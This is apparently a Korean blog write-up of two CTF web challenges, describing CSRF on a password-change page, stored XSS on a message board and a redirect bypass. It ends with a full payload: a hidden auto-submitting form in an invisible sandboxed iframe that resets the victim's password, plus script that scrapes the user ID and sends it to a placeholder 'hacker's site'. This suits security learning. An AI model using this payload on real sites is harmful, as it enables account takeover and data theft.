CSRF 공격 1,2번 문제 취약점 정리

2023. 5. 25. 12:32해킹/CSRF

CSRF 1번문제

취약점 1. CSRF 공격

마이페이지 비밀번호 변경 CSRF 취약점 발견.

 

수정을 누르면 POST 방식으로 요청되지만

GET 요청을 보내도 허용됨을 볼수있음. 

따라서 누군가 링크 유포를 시도한다면 CSRF 공격이 발생될 수 있다.

 

파라미터 id를 admin으로 바꾼뒤 변경을 시도하면 성공 메시지가 뜨나

admin으로 로그인이 되지 않는다. 즉 회원 정보 수정 방식은 user의 세션을 보고 받은 pw 파라미터를 새로 변경하는 방식이라고 볼 수 있다. 

 

admin이 로그인 한 상태에서 이 링크를 클릭하면 정보가 수정된다.

 

 

취약점 2. Stored XSS 공격

게시판에 악성 코드를 삽입하면

정상적으로 게시글이 작성되고

코드가 실행되는것을 볼 수 있다.

 

또한 검색창에 Reflected XSS 취약점은 없으나 검색 파라미터가 없을때는

기본적으로 스크립트 태그가 

htmlspacialchars로 인해 이스케이프 되지만

검색 버튼을 눌러 post 방식으로 요청하면

 

스크립트 태그로 인식하면서 Title에 문자가 없어지고 스크립트 실행이 된다. 

스크립트만 실행되어도 다양한 공격을 할 수 있기 때문에 방심하면 안된다..

 

게시판에 접속 할 시 쿠키 외 아무런 값을 보내고 있지 않은데 자신만의 게시물이 나온다.

즉 서버측에서 세션을 체크하고 자신의 글을 볼 수 있도록 하는 방식이다. 

 

세션이 없는 상태로 게시판에 접근 시 접근 불가하다.

하지만 응답값을 보면 자바스크립트로 location.href를 통해서 가는것이라

프록시 툴을 사용해 응답 위조를 해서 우회가 가능하다.

 

이 코드를 지우면 로그인 없이 정상적으로 게시판 접근이 가능하다.

 

악성 스크립트를 삽입하고 

 

글 작성에 성공했다.

 

글 작성에 성공이라고 판단 할 수 있는 이유는 게시판 id 파라미터가 전에는 65였는데 

비로그인 사용자가 게시물을 작성 후 

다시 게시물을 작성하니 67번이 되었다.

또한 여기서 심각한 문제점을 발견하였다.

write에서 입력받고 write process에서 처리를 하는데 

 

로그인을 하지 않아도 

그냥 이곳에서 send만 누르면 계속 게시글 생성이 가능하다.

 

즉 게시글에 제한이 없고 로그인도 하지 않아도 되니까 무차별 공격이 일어날 가능성이 크다.

 

CSRF 2번 문제도 역시 똑같은 취약점이 존재하나, 하나 다른점이 있다.

GET 방식으로 비밀번호 변경을 요청하면 에러가 발생하고 mypage로 넘어간다.

비밀번호 변경 적용도 되지 않는다.

 

이것은 서버측에서 검증하는것으로 보이며 우리는 위조할수 없다.

따라서 전에 발견되었던 XSS 취약점을 이용해서 공격한다.

 

이런 글을 작성하고

 

클릭 하면 입력창이 정상적으로 뜬다.

 

수정이 완료됨으로서

이제 이 과정을 자동화 하면 된다.

 

이런식으로 입력창을 모두 숨겨버리고  하단의 스크립트로 자동 제출을 한다.

 

게시글을 클릭 시 바로 회원 정보가 수정됨을 알려주는 경고창이 날아오고 메인 페이지로 이동된다.

이같은 경우에는 페이지에 페이지를 삽입하는 iframe를 사용하면 된다.

 

 

이런식으로 iframe를 사용해서 웹 페이지에 웹 페이지를 삽입하고 

iframe 은 보이지 않게 모두 가로 세로 0, display: none까지 해서 화면에서 보이지 않게 설정한다.

 

하지만 여전히 알림창은 보인다. 이것은 그냥 sandbox속성으로 차단하면 끝.

 

 

 

이제 평소 글을 보는것과 같아서 

공격을 알아채기 힘들어졌다.

 

하지만 아직 한발 남은것은 바로 사용자의 id를 모른다는것.

 

이것은 또 iframe를 통해서 알아낼 수 있다.

main page에 들어가면 사용자 id를 보여주고 welcome를 띄우는 페이지가 있다.

이것을 이 게시판에 띄운다면?

 

 

이렇게 로그인 한 사용자의 메인 페이지가 보인다.

 

여기의 html요소를 긁어와서 해커 사이트에 전달하면 끝이다.

 

메인 페이지를 보면 첫 번째 h2 태그에 사용자의 id 가 삽입된 모습이다.

var frame = document.getElementById('frame');
frame.onload = function(){alert(frame.contentWindow.document.getElementsByTagName('h2')[0].textContent);}

이렇게 frame이 로드되면 첫번째 h2태그의 text값을 화면에 띄우는 코드를 작성한다.

 

 

 

정상적으로 실행이 된다. 이제 이 값을 해커의 사이트로 넘기면 끝난다. 

정확히는 welcome이랑 !!도 분리해야하는데 거기까지는 하지 않고 일단 사이트로 넘겨본다.

 

당신은 행운의 편지를 받았습니다. 당장 가까운 사람 10명에게 행운의 편지를 쓰세요.
<form method = 'post' action = 'mypage_update.php' id='form'
target = 'frame'>
<input type = 'hidden' name = 'pw' value = 'hack'>
</form>

<iframe name = 'frame' sandbox = 'allow-forms' style = 'width: 0; height: 0; border: 0;
display: none;'></iframe>

<iframe id = 'frame' src = 'http://ctf.segfaulthub.com:7777/csrf_2/' style = 'width: 0; height: 0; border: 0;
display: none;'></iframe>

<script>
var frame = document.getElementById('frame');
frame.onload = function(){var data = frame.contentWindow.document.getElementsByTagName('h2')[0].textContent;
var img = new Image();
img.src = "해커의 사이트?data=" + data;}
var form = document.getElementById('form');
form.submit();
</script>

 

최종적으로 이런 코드를 작성하고 클릭해본다.

 

해커의 사이트에는 사용자의 id까지 날아왔다.

 

이제 사용자의 계정은 탈취되었다.